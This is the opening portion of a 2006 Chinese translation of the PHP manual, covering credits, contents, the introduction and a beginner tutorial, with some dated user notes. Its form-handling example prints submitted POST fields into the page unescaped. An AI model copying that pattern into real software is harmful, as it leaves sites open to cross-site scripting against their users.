PHP 手册

PHP 手册

集成用户注释，编译日期 2006-06-29。检查更新：UGiA.CN

Stig Sæther Bakken
Alexander Aulbach
Egon Schmid
Jim Winstead
Lars Torben Wilson
Rasmus Lerdorf
Andrei Zmievski
Jouni Ahto

编辑

Stig Sæther Bakken
Egon Schmid

中文文档翻译小组

王远之
肖理达
肖盛文
黄啸宇
陈伯乐
宋琪
刘铭
崔岩
李达
穆少磊
周皓
孙?

文件生成时间: Thu Jun 29 08:05:06 2006
请访问 http://www.php.net/docs.php 获取最新的版本

版权所有 © 1997 - 2005 PHP 文档团队


PHP 手册

集成用户注释，编译日期 2006-06-29。检查更新：UGiA.CN

Mehdi Achour
Friedhelm Betz
Antony Dovgal
Nuno Lopes
Philip Olson
Georg Richter
Damien Seguy
Jakub Vrana
其他贡献者

编辑

Gabor Hojtsy
王远之
肖理达
肖盛文
黄啸宇
宋琪
陈伯乐
刘铭
崔岩

2005-09-12

版权 © 1997-2005 PHP 文档组

前言
作者和贡献者
I. 入门指引
1. 简介
2. 简明教程
II. 安装与配置
3. 安装前需要考虑的事项
4. Unix 系统下的安装
5. Mac OS X 系统下的安装
6. Windows 系统下的安装
7. PECL 扩展库安装
8. 还有问题？
9. 运行时配置
III. 语言参考
10. 基本语法
11. 类型
12. 变量
13. 常量
14. 表达式
15. 运算符
16. 流程控制
17. 函数
18. 类与对象（PHP 4）
19. 类与对象（PHP 5）
20. 异常处理
21. 引用的解释
IV. 安全
22. 简介
23. 总则
24. 以 CGI 模式安装时
25. 以 Apache 模块安装时
26. 文件系统安全
27. 数据库安全
28. 错误报告
29. 使用 Register Globals
30. 用户提交的数据
31. 魔术引号
32. 隐藏 PHP
33. 保持更新
V. 特点
34. 用 PHP 进行 HTTP 认证
35. cookies
36. 会话
37. 处理 XForms
38. 文件上传处理
39. 使用远程文件
40. 连接处理
41. 数据库永久连接
42. 安全模式
43. PHP 的命令行模式
VI. 函数参考
I. .NET 函数
II. Advanced PHP debugger
III. Alternative PHP Cache
IV. Apache 特有函数
V. Array 数组函数
VI. Aspell 函数（已废弃）
VII. BC math 高精度数学函数
VIII. Bzip2 压缩函数
IX. Calendar 日历函数
X. CCVS API Functions [deprecated]
XI. Character Type Functions
XII. Classes/Objects 类／对象函数
XIII. Classkit Functions
XIV. ClibPDF Functions
XV. COM 和 .Net（Windows）函数
XVI. Crack Functions
XVII. Credit Mutuel CyberMUT functions
XVIII. CURL, Client URL Library Functions
XIX. Cybercash Payment Functions
XX. Cyrus IMAP administration Functions
XXI. Database (dbm-style) Abstraction Layer Functions
XXII. Date/Time 日期／时间函数
XXIII. DB++ Functions
XXIV. dBase Functions
XXV. DBM Functions [deprecated]
XXVI. dbx Functions
XXVII. Direct IO Functions
XXVIII. Directory 目录函数
XXIX. DOM Functions
XXX. DOM XML Functions
XXXI. Error Handling and Logging Functions
XXXII. Exif Functions
XXXIII. File Alteration Monitor Functions
XXXIV. filePro Functions
XXXV. Filesystem 文件系统函数
XXXVI. Firebird/InterBase Functions
XXXVII. Firebird/Interbase Functions (PDO_FIREBIRD)
XXXVIII. Forms Data Format Functions
XXXIX. FriBiDi Functions
XL. FrontBase Functions
XLI. FTP 函数
XLII. Function Handling Functions
XLIII. Gettext
XLIV. GMP Functions
XLV. GNU Readline
XLVI. GNU Recode Functions
XLVII. HTTP 函数
XLVIII. Hyperwave API Functions
XLIX. Hyperwave Functions
L. IBM DB2, Cloudscape and Apache Derby Functions
LI. ICAP Functions [deprecated]
LII. iconv Functions
LIII. ID3 Functions
LIV. IIS Administration Functions
LV. Image 图像函数
LVI. IMAP, POP3 and NNTP Functions
LVII. Informix Functions
LVIII. Ingres II Functions
LIX. IRC Gateway Functions
LX. KADM5
LXI. LDAP Functions
LXII. libxml Functions
LXIII. Lotus Notes Functions
LXIV. LZF Functions
LXV. Mail Functions
LXVI. mailparse Functions
LXVII. Math 数学函数
LXVIII. MaxDB PHP Extension
LXIX. MCAL Functions
LXX. Mcrypt Encryption Functions
LXXI. MCVE Payment Functions
LXXII. Memcache Functions
LXXIII. Mhash Functions
LXXIV. Microsoft SQL Server and Sybase Functions (PDO_DBLIB)
LXXV. Microsoft SQL Server Functions
LXXVI. Mimetype Functions
LXXVII. Ming functions for Flash
LXXVIII. Miscellaneous Functions
LXXIX. mnoGoSearch Functions
LXXX. Mohawk Software Session Handler Functions
LXXXI. mSQL Functions
LXXXII. Multibyte String Functions
LXXXIII. muscat Functions
LXXXIV. MySQL 函数
LXXXV. MySQL Functions (PDO_MYSQL)
LXXXVI. MySQL Improved Extension
LXXXVII. Ncurses Terminal Screen Control Functions
LXXXVIII. Network Functions
LXXXIX. Net_Gopher
XC. NSAPI-specific Functions
XCI. Object Aggregation/Composition Functions
XCII. Object property and method call overloading
XCIII. ODBC and DB2 functions (PDO_ODBC)
XCIV. ODBC Functions (Unified)
XCV. oggvorbis
XCVI. OpenAL Audio Bindings
XCVII. OpenSSL Functions
XCVIII. Oracle 函数
XCIX. Oracle Functions (PDO_OCI)
C. Oracle 函数（已废弃）
CI. Output Control 输出控制函数
CII. Ovrimos SQL Functions
CIII. Paradox File Access
CIV. Parsekit Functions
CV. PDF functions
CVI. PDO Functions
CVII. PHP / Java Integration
CVIII. PHP bytecode Compiler
CIX. PHP Options&Information
CX. POSIX Functions
CXI. PostgreSQL 数据库函数
CXII. PostgreSQL Functions (PDO_PGSQL)
CXIII. PostgreSQL Session Save Handler
CXIV. PostScript document creation
CXV. Printer Functions
CXVI. Process Control Functions
CXVII. Program Execution Functions
CXVIII. Pspell Functions
CXIX. qtdom Functions
CXX. Radius
CXXI. Rar Functions
CXXII. Perl 兼容正则表达式函数
CXXIII. POSIX 扩展正则表达式函数
CXXIV. runkit Functions
CXXV. SDO Functions
CXXVI. SDO Relational Data Access Service Functions
CXXVII. SDO XML Data Access Service Functions
CXXVIII. Secure Shell2 Functions
CXXIX. Semaphore, Shared Memory and IPC Functions
CXXX. SESAM Database Functions
CXXXI. Session Handling Functions
CXXXII. Shared Memory Functions
CXXXIII. Shockwave Flash Functions
CXXXIV. SimpleXML functions
CXXXV. SNMP 函数
CXXXVI. SOAP Functions
CXXXVII. Socket Functions
CXXXVIII. SQLite Functions
CXXXIX. SQLite Functions (PDO_SQLITE)
CXL. Standard PHP Library (SPL) Functions
CXLI. Stream Functions
CXLII. String 字符串处理函数
CXLIII. Sybase Functions
CXLIV. TCP Wrappers Functions
CXLV. Tidy Functions
CXLVI. Tokenizer Functions
CXLVII. Unicode Functions
CXLVIII. URL 函数
CXLIX. Variable 变量函数
CL. Verisign Payflow Pro Functions
CLI. vpopmail Functions
CLII. W32api 函数
CLIII. WDDX Functions
CLIV. xattr Functions
CLV. xdiff Functions
CLVI. XML 语法解析函数
CLVII. XML-RPC 函数
CLVIII. XMLReader functions
CLIX. XSL functions
CLX. XSLT Functions
CLXI. YAZ Functions
CLXII. YP/NIS Functions
CLXIII. Zip File Functions (Read Only Access)
CLXIV. Zlib Compression Functions
VII. PHP 和 Zend 引擎内部资料
44. PHP 扩展库编程 API 指南
45. Zend API：深入 PHP 内核
46. 扩展 PHP 3
VIII. FAQ：常见问题
47. 一般信息
48. 邮件列表
49. 获取 PHP
50. 数据库问题
51. 安装常见问题
52. 编译问题
53. 使用 PHP
54. PHP 和 HTML
55. PHP 和 COM
56. PHP 和其它语言
57. 从 PHP/FI 2 移植到 PHP 3
58. 从 PHP 3 移植到 PHP 4
59. 从 PHP 4 移植到 PHP 5
60. 杂类问题
IX. 附录
A. PHP 及其相关工程的历史
B. 从 PHP 4 移植到 PHP 5
C. 从 PHP 3 移植到 PHP 4
D. 从 PHP/FI 2 移植到 PHP 3
E. PHP 的调试
F. 配置选项
G. php.ini 配置选项
H. 扩展库分类
I. 函数别名列表
J. 保留字列表
K. 资源类型列表
L. 支持的协议／封装协议列表
M. 可用过滤器列表
N. 所支持的套接字传输器（Socket Transports）列表
O. PHP 类型比较表
P. 解析器代号列表
Q. 关于本手册
R. 开放出版许可协议
S. 函数索引

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

前进
前言


前言

目录
作者和贡献者

PHP，即“PHP: Hypertext Preprocessor”，是一种被广泛使用的开放源代码多用途脚本语言，尤其适用于 web 开发并可以嵌入到 HTML 中去。其语法利用了 C，Java 和 Perl，非常容易学习。该语言的主要目标是让 web 开发人员可以很快写出动态生成的网页，但 PHP 的功能远不止如此。

本手册主要由函数参考组成，但也包括语言参考，PHP 一些主要特点的说明以及其它补充信息。

可以在 http://www.php.net/download-docs.php 下载本手册的数种格式。关于本手册如何被开发的更多信息，请参阅附录：“关于本手册”。如果对 PHP 的历史感兴趣，请访问相关附录。

欢迎加入 PHP 简体中文翻译小组！具体加入方法请访问此页面，点击该页面右上角的“下载”以取得该 howto 文档的最新版本并仔细阅读。

作者和贡献者

手册首页仅突出了目前最活跃的人员，但是还有更多的贡献者在现在或者过去对本项目提供了大量的帮助。很多不留名的人也帮忙在手册中写下了笔记，并不断被包括在手册中，也很感谢他们的工作。下面的姓名列表按照字母顺序排列。

作者与编辑

下列人员曾经或者目前正在为本手册添砖加瓦: Jouni Ahto, Alexander Aulbach, Daniel Beckham, Stig Bakken, Jesus M. Castagnetto, Ron Chmara, Sean Coates, John Coggeshall, Simone Cortesi, Markus Fischer, Wez Furlong, Sara Golemon, Rui Hirokawa, Brad House, Moriyoshi Koizumi, Rasmus Lerdorf, Andrew Lindeman, Stanislav Malyshev, Rafael Martinez, Yasuo Ohgaki, Derick Rethans, Sander Roobol, Egon Schmid, Thomas Schoefbeck, Sascha Schumann, Dan Scott, Lars Torben Wilson, Jim Winstead, Jeroen van Wolffelaar 和 Andrei Zmievski.

下列人员对本手册做出了重大的编辑工作: Stig Bakken, Hartmut Holzgraefe 和 Egon Schmid.

用户注释维护者

目前最活跃的维护者是: Mehdi Achour, Friedhelm Betz, Vincent Gevers, Aidan Lister, Nuno Lopes 和 Tom Sommer.

下列人员为维护用户评论作出了巨大的努力: Daniel Beckham, Victor Boivie, Jesus M. Castagnetto, Nicolas Chaillan, Ron Chmara, James Cox, Sara Golemon, Zak Greant, Szabolcs Heilig, Oliver Hinckel, Hartmut Holzgraefe, Rasmus Lerdorf, Andrew Lindeman, Maxim Maletsky, James Moore, Sebastian Picklum, Derick Rethans, Sander Roobol, Damien Seguy, Jason Sheets, Jani Taskinen, Yasuo Ohgaki, Philip Olson, Lars Torben Wilson, Jim Winstead, Jared Wyles 和 Jeroen van Wolffelaar.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PHP 手册 |  | 入门指引


入门指引

PHP 手册
后退 前进

I. 入门指引

目录
1. 简介
2. 简明教程

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
前言 |  | 简介


简介

PHP 手册
后退 前进

章 1. 简介

目录
PHP 是什么？
PHP 能做什么？

PHP 是什么？

PHP（“PHP: Hypertext Preprocessor”，超文本预处理器的字母缩写）是一种被广泛应用的开放源代码的多用途脚本语言，它可嵌入到 HTML中，尤其适合 web 开发。

以上是一个简单的回答，不过这是什么意思呢？请看如下例子：

例子 1-1. 一个介绍性的范例

<html>
    <head>
        <title>Example</title>
    </head>
    <body>

        <?php
        echo "Hi, I'm a PHP script!";
        ?>

    </body>
</html>

请注意这个范例和其它用 C 或 Perl 语言写的脚本之间的区别――与用大量的命令来编写程序以输出 HTML 不同的是，我们用 PHP 编写了一个 HTML 脚本，其中嵌入了一些代码来做一些事情（例如，在本例中输出了一些文本）。PHP 代码被包含在特殊的起始符和结束符中，使得可以进出“PHP 模式”。

和客户端的 JavaScript 不同的是，PHP 代码是运行在服务端的。如果在服务器上建立了如上例类似的代码，则在运行该脚本后，客户端就能接收到其结果，但他们无法得知其背后的代码是如何运作的。甚至可以将 web 服务器设置成让 PHP 来处理所有的 HTML 文件，这么一来，用户就无法得知服务端到底做了什么。

使用 PHP 的一大好处是它对于初学者来说极其简单，同时也给专业的程序员提供了各种高级的特性。当看到 PHP 长长的特性列表时，请不要害怕。可以很快的入门，只需几个小时就可以自己写一些简单的脚本。

尽管 PHP 的开发是以服务端脚本为目的，但事实上其功能远不局限与此。请继续读后面的章节，在“PHP 能做什么”一节中将获得更多的信息。如果对 web 编程感兴趣，也可以阅读简明教程。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
入门指引 | 上一级 | PHP 能做什么？


PHP 能做什么？

PHP 能做任何事。PHP 主要是用于服务端的脚本程序，因此可以用 PHP 来完成任何其它的 CGI 程序能够完成的工作，例如收集表单数据，生成动态网页，或者发送／接收 Cookies。但 PHP 的功能远不局限于此。

PHP 脚本主要用于以下三个领域：

  • 服务端脚本。这是 PHP 最传统，也是最主要的目标领域。开展这项工作需要具备以下三点：PHP 解析器（CGI 或者服务器模块）、web 服务器和 web 浏览器。需要在运行 web 服务器时，安装并配置 PHP，然后，可以用 web 浏览器来访问 PHP 程序的输出，即浏览服务端的 PHP 页面。如果只是实验 PHP 编程，所有的这些都可以运行在自己家里的电脑中。请查阅安装一章以获取更多信息。

  • 命令行脚本。可以编写一段 PHP 脚本，并且不需要任何服务器或者浏览器来运行它。通过这种方式，仅仅只需要 PHP 解析器来执行。这种用法对于依赖 cron（Unix 或者 Linux 环境）或者 Task Scheduler（Windows 环境）的日常运行的脚本来说是理想的选择。这些脚本也可以用来处理简单的文本。请参阅 PHP 的命令行模式以获取更多信息。

  • 编写桌面应用程序。对于有着图形界面的桌面应用程序来说，PHP 或许不是一种最好的语言，但是如果用户非常精通 PHP，并且希望在客户端应用程序中使用 PHP 的一些高级特性，可以利用 PHP-GTK 来编写这些程序。用这种方法，还可以编写跨平台的应用程序。PHP-GTK 是 PHP 的一个扩展，在通常发布的 PHP 包中并不包含它。如果对 PHP-GTK 感兴趣，请访问其网站以获取更多信息。

PHP 能够用在所有的主流操作系统上，包括 Linux、Unix 的各种变种（包括 HP-UX、Solaris 和 OpenBSD）、Microsoft Windows、Mac OS X、RISC OS 等。今天，PHP已经支持了大多数的 web 服务器，包括 Apache、Microsoft Internet Information Server（IIS）、Personal web Server（PWS）、Netscape 以及 iPlant server、Oreilly Website Pro Server、Caudium、Xitami、OmniHTTPd 等。对于大多数的服务器，PHP 提供了一个模块；还有一些 PHP 支持 CGI 标准，使得 PHP 能够作为 CGI 处理器来工作。

综上所述，使用 PHP，可以自由地选择操作系统和 web 服务器。同时，还可以在开发时选择使用面对过程和面对对象，或者两者混和的方式来开发。尽管 PHP 4 不支持 OOP 所有的标准，但很多代码仓库和大型的应用程序（包括 PEAR 库）仅使用 OOP 代码来开发。PHP 5 弥补了 PHP 4 的这一弱点，引入了完全的对象模型。

使用 PHP，并不局限于输出 HTML。PHP 还能被用来动态输出图像、PDF 文件甚至 Flash 动画（使用 libswf 和 Ming）。还能够非常简便的输出文本，例如 XHTML 以及任何其它形式的 XML 文件。PHP 能够自动生成这些文件，在服务端开辟出一块动态内容的缓存，可以直接把它们打印出来，或者将它们存储到文件系统中。

PHP 最强大最显著的特性之一，是它支持很大范围的数据库。用户会发现利用 PHP 编写数据库支持的网页简单得难以置信。目前，PHP 支持如下数据库：

Adabas D | InterBase | PostgreSQL
dBase | FrontBase | SQLite
Empress | mSQL | Solid
FilePro（只读） | Direct MS-SQL | Sybase
Hyperwave | MySQL | Velocis
IBM DB2 | ODBC | Unix dbm
Informix | Oracle（OCI7 和 OCI8）
Ingres | Ovrimos

同时还有一个 DBX 扩展库使得可以自由地使用该扩展库支持的任何数据库。另外，PHP 还支持 ODBC，即 Open Database Connection Standard（开放数据库连接标准），因此可以连接任何其它支持该世界标准的数据库。

PHP 还支持利用诸如 LDAP、IMAP、SNMP、NNTP、POP3、HTTP、COM（Windows 环境）等不计其数的协议的服务。还可以开放原始网络端口，使得任何其它的协议能够协同工作。PHP 支持和所有 web 开发语言之间的 WDDX 复杂数据交换。关于相互连接，PHP 已经支持了对 Java 对象的即时连接，并且可以将他们自由的用作 PHP 对象。甚至可以用我们的 CORBA 扩展库来访问远程对象。

PHP 具有极其有效的文本处理特性，支持从 POSIX 扩展或者 Perl 正则表达式到 XML 文档解析。为了解析和访问 XML 文档，PHP 4 支持 SAX 和 DOM 标准，也可以使用 XSLT 扩展库来转换 XML 文档。PHP 5 基于强健的 libxm2 标准化了所有的 XML 扩展，并添加了 SimpleXML 和 XMLReader 支持，扩展了其在 XML 方面的功能。

如果将 PHP 用于电子商务领域，会发现其 Cybercash 支付、CyberMUT、VeriSign Payflow Pro 以及 MCVE 函数对于在线交易程序来说是非常有用的。

另外，还有很多其它有趣的扩展库。例如 mnoGoSearch 搜索引擎函数、IRC 网关函数、多种压缩工具（gzip、bz2）、日历转换、翻译……

由于在这里无法列出 PHP 所有的特性和可提供的便利，请参阅安装以及函数参考有关章节以获取关于这里提到的扩展库更多的信息。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
简介 | 上一级 | 简明教程


简明教程

PHP 手册
后退 前进

章 2. 简明教程

目录
需要些什么？
第一个 PHP 页面
实用的脚本
处理表单
在新版本的 PHP 中使用旧的 PHP 代码
下一步做什么？

本章将给出关于 PHP 的简明教程。虽然 PHP 的功能并不局限于生成动态的 web 页面，但本章的内容仅涉及于此。请查阅“PHP 能做什么”一节以获取更多信息。

使用了 PHP 的 web 页面将被和通常的 HTML 页面一样处理，可以用通常建立 HTML 页面的方法来建立和编辑它们。

需要些什么？

在本教程中，假设用户的服务器已经安装并运行了 PHP，所有以 .php 结尾的文件都将由 PHP 来处理。在大部分的服务器上，这是 PHP 的默认扩展名，不过，也请询问服务器管理员以确认。如果服务器支持 PHP，则不需要做任何事情。只用建立 .php 文件，并把它们放置到 web 目录中，服务器将神奇地自动解析这些文件。不用编译任何东西，也不用安装任何其它的工具，仅仅只需把这些使用了 PHP 的文件想象成简单的 HTML 文件，其中只不过多了一种新的标识符，在这里可以做各种各样的事情。大多数的 web 主机都提供 PHP 的支持，如果你的主机不支持，可以访问 PHP 相关链接来查找支持 PHP 的 web 主机。

假设用户希望在本地机器开发以节约宝贵的带宽。在这种情况下，需要安装一个诸如 Apache 的 web 服务器，当然还有 PHP。可能还希望安装一个数据库，例如 MySQL。

可以一个个的安装它们或选择一个更简单的方法。可以参考本手册中 PHP 安装说明的相关章节（假设已经配置好了某个 web 服务器）。若在自己安装 PHP 时出现了问题，建议在安装邮件列表中询问。如果想使用更简便的方法安装 PHP，那么可以考虑获取一个预先配置的安装包，用这个安装包，只用点击几下鼠标，就可以自动地安装所有这些系统。在任何操作系统下建立有 PHP 支持的 web 服务器都十分简单，包括 MacOSX、Linux 和 Windiws。在 Linux 下，会发现 rpmfind 和 PBone 能够在获取 RPM 时提供帮助。也可以使用 apt-get 搜索 Debian 的相关软件包。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PHP 能做什么？ | 上一级 | 第一个 PHP 页面


第一个 PHP 页面

在 web 服务器根目录（DOCUMENT_ROOT）下建立一个文件名为 hello.php，然后完成如下内容：

例子 2-1. 第一个 PHP 脚本：hello.php

<html>
<head>
  <title>PHP 测试</title>
</head>
<body>
<?php echo '<p>Hello World</p>'; ?>
 </body>
</html>

在浏览器的地址栏里输入 web 服务器的 URL 访问这个文件，在结尾加上“/hello.php”。如果本地开发，那么这个 URL 一般是 http://localhost/hello.php 或者 http://127.0.0.1/hello.php，当然这取决于 web 服务器的设置。如果所有的设置都正确，那么这个文件将被 PHP 解析，浏览器中将会输出如下结果：

<html>
 <head>
  <title>PHP 测试</title>
 </head>
 <body>
 <p>Hello World</p>
 </body>
</html>

该程序非常的简单，它仅仅只是利用了 PHP 的 echo() 语句显示了 Hello World。用户一定不会满足与此。请注意该文件无需被执行或以任何方式指定。服务器会找到该文件并提供给 PHP 进行解释，因为使用了“.php”的扩展名，服务器已被配置成自动传递有着“.php”扩展名的文件给 PHP。一个普通的 HTML 文件，加上了几个特别的标签，就可以做很多非常有趣的事情！

如果试过了这个例子，但是没有得到任何输出，或者浏览器弹出了下载框，或者浏览器以文本方式显示了源文件，可能的原因是服务器还没有支持 PHP，或者没有正确配置。需要请服务器的管理员根据本手册“安装”一章的内容使得服务器支持 PHP。如果本地开发，请阅读手册有关安装的章节以确保所有的设置都正确。还要确认通过浏览器访问的 URL 确实指向了服务器上的这个文件。如果只是从本地文件系统调用这个文件，它不会被 PHP 解析。如果问题仍然存在，请通过 PHP 在线支持中的各种方式获取帮助。

以上例子的目的是为了显示 PHP 特殊标识符的格式。在这个例子中，用 <?php 来表示 PHP 标识符的起始，然后放入 PHP 语句并通过加上一个终止标识符 ?> 来退出 PHP 模式。可以根据自己的需要在 HTML 文件中像这样开启或关闭 PHP 模式。请参阅手册中“PHP 基本语法”以获取更多信息。

关于文本编辑器: 有很多文本编辑器以及集成开发环境（IDE）可以被用来建立、编辑和管理 PHP 文件。这些工具中的一部分被列在 PHP 编辑器列表中。如果希望推荐其它的编辑器，请访问以上页面，并要求该页面的维护者将你推荐的编辑器加入到该列表中。使用支持语法高亮功能的编辑器会给开发带来很多帮助。

关于文字处理器: 诸如 StarOffice Writer、Microsoft Word 和 Abiword 的文字处理器不适合用来编辑 PHP 程序。如果希望用以上这些工具的某一种来处理脚本，必须保证将结果存成了纯文本格式，否则 PHP 将无法读取并运行这些脚本。

关于 Windows 记事本: 如果使用 Windows 记事本来编写 PHP 脚本，需要注意在保存文件时，文件的后缀名应该为 .php（记事本将自动在文件名后面加上 .txt 后缀，除非采取以下措施之一来避免这种情况）。当保存文件时，系统会让你指定文件的文件名，这时请将文件名加上引号（例如 "hello.php"）。或者，也可以点击“保存”对话框中的“保存类型”下拉菜单，并将设置改为“所有文件”。这样在输入文件名的时候就不用加引号了。

现在已经成功建立了一个简单的 PHP 脚本。还可以建立一个最著名的 PHP 脚本。调用函数 phpinfo()，将会看到很多有关自己系统有用的信息，以及预定义变量、已经加载的 PHP 模块和配置信息。请花一些时间来查看这些重要的信息。

例子 2-2. 从 PHP 获取系统信息

<?php phpinfo(); ?>

add a note add a note User Contributed Notes
c300501 at yahoo dot com
07-Jun-2006 09:26
document_root variable is  located in your web server configuration file
onebadscrivener at gmail dot com
18-Jan-2005 09:25
OS X users editing in TextEdit will need to make sure their TextEdit preferences are set to allow plain text files.  Under the TextEdit pull-down menu, choose PREFERENCES, then under NEW DOCUMENT ATTRIBUTES in the window that pops up, click PLAIN TEXT.

Then, in the section of that same window called "saving," DESELECT "append .txt extension to plain text files."  This will allow you to save your files with a .php extension.

Then close the PREFERENCES window.  You're good to go.
Curtis
11-Aug-2004 05:47
Expansion on saving w/ notepad/wordpad: (tested on XP; but should work on 2000,NT, and 98)

You can associate the .php file extension w/ Windows w/o going into the registry.

Open up My Computer or MSIE in file mode. Go to folder options > File types tab. Now click new. Add the extension as PHP or php. If you can't find the PHP application in the dropdown list under advanced, just go OK, for now. At least the extension is in place.

Now, try and create a php file by using the directions from this page of the PHP tutorial (should save it with the rest of your HTML files, i.e. your DocumentRoot). If you go to view your php file listed in the directory, and you see that it's still a .txt file, right-click the icon to see if you can locate "open with." If so, you should be able to browse for the appropriate file, which should be at (may vary, depending on where you installed PHP):

C:\PHP\php.exe

Click that as the default program, and the PHP logo should appear on all your scripts, and no problems saving should occur w/ any program.

Good luck.
ryan420 at earthling dot net
03-Feb-2003 06:18
Note on permissions of php files:  You don't have to use 'chmod 0755' under UNIX or Linux; the permissions need not be set to executable.  Again, this is more like a html file than a cgi script.  The only mandatory requirement is that the web server process has read access to the php file(s).  With many Linux systems, it is popular for Apache to run under the 'apache' account.  Given that HTML and other web files, like php, are often owned by user 'root' and group 'web' (or another similar group name), acceptable permissions might be those achieved with 'chmod 664' or 'chmod 644'.  The web server process, running under the 'apache' account, will inherit read only permissions.  The 'apache' account is not root and is not a member of the 'web' group, so the "other" portion of the permissions (the last "4") applies.
add a note add a note

后退 | 起点 | 前进
简明教程 | 上一级 | 实用的脚本


实用的脚本

现在来编写一些更实用的脚本，比如检查浏览页面的访问者在用什么浏览器。要达到这个目的，需要检查用户的 agent 字符串，它是浏览器发送的 HTTP 请求的一部分。该信息被存储在一个变量中。在 PHP 中，变量总是以一个美元符开头。我们现在感兴趣的变量是 $_SERVER['HTTP_USER_AGENT']。

注: $_SERVER 是一个特殊的 PHP 保留变量，它包含了 web 服务器提供的所有信息，被称为自动全局变量（或“超全局变量”）。请查阅本手册“超全局变量”中的有关内容以获取更多信息。这些特殊的变量是在 PHP 4.1.0 版本引入的。在这之前使用 $HTTP_*_VARS 数组，如 $HTTP_SERVER_VARS。尽管现在已经不用了，但它们在新版本中仍然存在（参见“旧代码”一节中的注解）。

要显示该变量，只需简单地进行如下操作：

例子 2-3. 打印一个变量（数组元素）

<?php echo $_SERVER['HTTP_USER_AGENT']; ?>

该脚本的输出可能是：

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

PHP 有很多种不同类型的变量。在以上例子中我们打印了一个数组的单元。数组是一类非常有用的变量。

$_SERVER 只是 PHP 自动全局化的变量之一。可以查阅“保留变量”一节来查看这些变量的列表，或者也可以通过上节例子中 phpinfo() 函数的输出来查看。

可以在一个 PHP 标识中加入多个 PHP 语句，也可以建立一个代码块来做比简单的 echo 更多的事情。例如，如果需要识别 Internet Explorer，可以进行如下操作：

例子 2-4. 流程控制与函数的使用

<?php
if (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== FALSE) {
    echo '正在使用 Internet Explorer。<br />';
}
?>

该脚本的输出可能是：

正在使用 Internet Explorer。<br />

这里要介绍一些新的原理。上面用了一个 if 语句。如果用户对 C 语言的基本语法比较熟悉，则应该对此很熟悉，否则，可能需要拿起任何一本 PHP 介绍性的书籍并阅读前面的两三个章节，或者也可以阅读本手册的“语言参考”一章。可以在 http://www.php.net/books.php 找到有关 PHP 的书籍的列表。

需要介绍的第二个原理，是对 strpos() 函数的调用。strpos() 是 PHP 的一个内置函数，其功能是在一个字符串中搜索另外一个字符串。例如我们现在需要在 $_SERVER['HTTP_USER_AGENT']（即所谓的 haystack）变量中寻找 'MSIE'。如果在这个 haystack 中该字符串（即所谓的 needle）被找到，则函数返回 needle 在 haystack 中相对开头的位置；如果没有，则返回 FALSE。如果该函数没有返回 FALSE，则 if 会将条件判断为 TRUE 并运行其花括号 {} 内的代码；否则，则不运行这些代码。可以自己尝试利用 if，else 以及其它的函数，例如 strtoupper() 和 strlen()，来建立类似的脚本。在本手册中相关的页面也包含有范例。如果对如何使用函数不是很确定，可以阅读手册中有关“如何阅读函数定义”和“函数”的有关章节。

以下我们进一步显示如何进出 PHP 模式，甚至是在一个 PHP 代码块的中间：

例子 2-5. 混和 HTML 和 PHP 模式

<?php
if (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== FALSE) {
?>
<h3>strpos() 肯定没有返回假 (FALSE)</h3>
<p>正在使用 Internet Explorer</p>
<?php
} else {
?>
<h3>strpos() 肯定返回假 (FALSE)</h3>
<center><b>没有使用 Internet Explorer</b></center>
<?php
}
?>

该脚本的输出可能是：

<h3>strpos() 肯定没有返回假 (FALSE)</h3>
<p>正在使用 Internet Explorer</p>

和以上我们用一个 PHP 的 echo 语句来输出不同的是，我们跳出了 PHP 模式来直接写 HTML 代码。这里很值得注意的一点是，对于这两种情况而言，脚本的逻辑效率是相同的。在判断了 strpos() 函数的返回值是 TRUE 或是 FALSE，也就是判断了字符串 'MSIE' 是否被找到之后，最终只有一个 HTML 块被发送给浏览者。

add a note add a note User Contributed Notes
cooper dot eduardo at gmail dot com
30-May-2006 09:22
In php.ini, you can change the property 'short_open_tag' to 'on', then you can use the short tag (<? ?>) instead the long tag (<?php ?>).

   Ex.:
     short_open_tag = on
daizsehunrax at jippii dot fi
30-Mar-2006 06:38
Remember that on some servers you must put the code between <?php .... ?> marks instead of <? ... ?>
mjbraca at hotNOSPAMmail dot com
10-Aug-2002 06:31
It wasn't immediately obvious to me what would happen if I jumped from PHP to HTML and back within a function definition. But of course it does the "right thing":

<?
function foo () {
  echo "Enter foo...";
?>Some HTML inside foo...<?
  echo "Leave foo.";
}
?>
  <HTML><BODY>
  <? foo(); ?>
  </BODY></HTML>

produces:

Enter foo...Some HTML inside foo...Leave foo.
add a note add a note

后退 | 起点 | 前进
第一个 PHP 页面 | 上一级 | 处理表单


处理表单

PHP 一个很有用的特点体现在它处理 PHP 表单的方式。需要理解的非常重要的原理，是表单的任何元素都在 PHP 脚本中自动生效。请参阅本手册中“PHP 的外部变量”以获取关于在 PHP 中使用表单的详细信息及范例。以下是 HTML 表单的范例：

例子 2-6. 一个简单的 HTML 表单

<form action="action.php" method="post">
 <p>姓名: <input type="text" name="name" /></p>
 <p>年龄: <input type="text" name="age" /></p>
 <p><input type="submit" /></p>
</form>

该表单中并没有什么特殊的地方，其中没有使用任何特殊的标识符。当用户填写了该表单并点击了提交按钮，页面 action.php 将被调用。在该文件中，可以加入如下内容：

例子 2-7. 打印来自表单的数据

你好，<?php echo $_POST['name']; ?>。
你 <?php echo $_POST['age']; ?> 岁了。

该脚本的输出可能是：

你好，Joe。你 22 岁了。

该脚本进行的工作应该已经很明显了，这儿并没有其它更复杂的内容。PHP 将自动设置 $_POST['name'] 和 $_POST['age'] 变量。在这之前我们使用了自动全局变量 $_SERVER，现在我们引入了自动全局变量 $_POST，它包含了所有的 POST 数据。请注意我们的表单提交数据的方法（method）。如果使用了 GET 方法，那么表单中的信息将被储存到自动全局变量 $_GET 中。如果并不关心请求数据的来源，也可以用自动全局变量 $_REQUEST，它包含了所有 GET、POST、COOKIE 和 FILE 的数据。请参阅 import_request_variables() 函数。

